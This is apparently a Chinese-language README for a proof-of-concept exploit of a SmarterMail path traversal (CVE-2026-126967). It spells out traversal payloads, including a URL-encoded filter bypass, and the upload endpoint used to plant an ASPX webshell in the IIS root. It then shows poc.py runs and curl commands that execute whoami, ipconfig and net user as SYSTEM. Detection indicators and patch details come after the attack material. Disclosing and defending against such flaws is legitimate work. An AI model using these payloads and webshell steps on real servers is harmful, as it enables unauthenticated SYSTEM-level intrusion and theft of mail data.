SmarterMail 的 FileStorageController 接受调用方提供的文件名,并将其与每个账户的存储根目录拼接来构造目标路径,既不规范化也不限制结果范围。经过身份验证的低权限用户可嵌入 ..\..\ 序列,从而在邮件数据目录之外写入任意文件。由于 IIS 以 NT AUTHORITY\SYSTEM 身份运行,将 ASPX webshell 写入站点根目录即可获得未认证的命令执行,且处于 Windows 最高可能的权限级别。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-126967 |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22(路径遍历) |
| 受影响版本 | SmarterMail 所有低于 9735 的构建版本 |
| 修复版本 | Build 9735 |
| ZDI | ZDI-26-994 |
| 需要认证 | 低 — 任意有效的 SmarterMail 账户 |
| 披露日期 | 2026-11-18 |
FileStorageController.Upload 操作接受一个 fileName 参数。控制器会在前面拼接用户的邮件数据根目录,但不执行任何路径规范化:
destination = Path.Combine(userStorageRoot, fileName)
// fileName = "..\..\..\..\inetpub\wwwroot\shell.aspx"
// destination = "C:\SmarterMail\Domains\..\..\inetpub\wwwroot\shell.aspx"
Windows 上的 Path.Combine 不会解析 .. 序列——生成的路径会解析到 IIS Web 根目录。该 API 接受任何文件扩展名,包括 .aspx,从而将上传变成 webshell 植入。随后 IIS 以 SYSTEM 身份提供并执行该 ASPX 页面。
flowchart LR
A([Attacker\nAuthenticated user]) -->|POST /api/v1/filestorage/upload\nfileName: ..\..\..\..\inetpub\wwwroot\shell.aspx| B[SmarterMail\nIIS / SYSTEM]
B -->|Writes file to IIS root| C[ASPX Webshell\nc:\inetpub\wwwroot\cve126967.aspx]
C -->|GET /cve126967.aspx?c=whoami| D([Unauthenticated\nSYSTEM RCE])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
警告: 仅限授权测试和隔离的实验环境。植入后,Webshell 无需凭据即可访问——请确保目标处于隔离状态。
pip install -r requirements.txt
# requirements.txt: requests>=2.31.0
在未登录的情况下检查目标版本:
python3 poc.py -u http://mail.example.com --check
预期输出:
[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)
python3 poc.py -u http://mail.example.com \
-U [email protected] \
-P password123 \
--write
预期输出:
[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)
[*] logging in as [email protected]
[+] token: eyJhbGciOiJIUzI1NiJ9...
[*] traversal='..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 200
[*] checking for webshell...
[!] VULNERABLE — running as: NT AUTHORITY\SYSTEM
shell: http://mail.example.com/cve126967.aspx?c=<cmd>
# After successful plant, the webshell accepts ?c= parameter:
curl "http://mail.example.com/cve126967.aspx?c=whoami"
# Output: CVE-2026-126967:NT AUTHORITY\SYSTEM
curl "http://mail.example.com/cve126967.aspx?c=ipconfig"
curl "http://mail.example.com/cve126967.aspx?c=net+user"
该 PoC 尝试三种上传模式,以覆盖不同的 SmarterMail 版本:
# JSON body (default — works on most builds)
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode json
# multipart/form-data upload
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode form
# Raw PUT with X-File-Name header
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode raw
| 参数 | 描述 |
|---|---|
-u URL | SmarterMail 基础 URL(必填) |
-U EMAIL | 账户邮箱地址 |
-P PASSWORD | 账户密码 |
--check | 仅进行指纹识别 — 不登录、不写入 |
--write | 尝试植入 webshell |
--mode json|form|raw | 上传内容类型(默认:json) |
--proxy URL | HTTP 代理(例如 http://127.0.0.1:8080 用于 Burp) |
该 PoC 会尝试多个路径遍历字符串,以应对不同的安装位置:
| 遍历路径 | 解析为 |
|---|---|
..\..\..\InetPub\SmarterMail\ | 典型的 SmarterMail IIS 根目录 |
..\..\..\...\inetpub\wwwroot\ | 默认 IIS 根目录 |
..%5C..%5C..%5CInetPub%5CSmarterMail%5C | URL 编码 — 绕过过滤器 |
../../../InetPub/SmarterMail/ | 正斜杠变体 |
[*] target: http://mail.example.com
[*] HTTP 200, build=9735 (patched)
[*] attempting traversal '..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 400
[-] upload did not return 2xx on any traversal
[+] NOT vulnerable
| 指标 | 说明 |
|---|---|
路径中包含 .. 的 File Storage API 调用 | IIS 日志:POST /api/v1/filestorage/upload,请求体中包含编码后的路径遍历 |
IIS 根目录中出现异常的 .aspx 文件 | 针对 C:\inetpub\wwwroot\*.aspx 的计划任务或 FIM 告警 |
w3wp.exe 启动 cmd.exe / powershell.exe | EDR 进程创建告警 |
C:\SmarterMail\ 中 Domains\ 之外出现新文件 | 文件完整性监控 |
通过一个无需认证的 webshell 在邮件服务器上实现 SYSTEM 级 RCE,任何能访问 80/443 端口的人均可利用。被攻陷的邮件服务器通常存有电子邮件凭据、PII、内部通信内容,并可作为进入更广泛企业网络的跳板。
升级至 SmarterMail build 9735 或更高版本。该修复增加了 Path.GetFullPath 规范化,并在写入前验证结果仍位于用户的存储根目录内。
| 操作 | 详情 |
|---|---|
| 升级 SmarterMail | 从 smartertools.com 获取 build 9735 或更高版本 |
| 扫描植入的 shell | 在 IIS 根目录中搜索最近修改的 .aspx 文件 |
| 限制 File Storage API | 阻止来自不受信任 IP 范围的 /api/v1/filestorage 访问 |
| 监控 IIS 根目录 | 对新增 .aspx / .ashx 文件设置 FIM 告警 |
免责声明: 仅限授权安全研究与受控实验环境使用。MIT 许可证。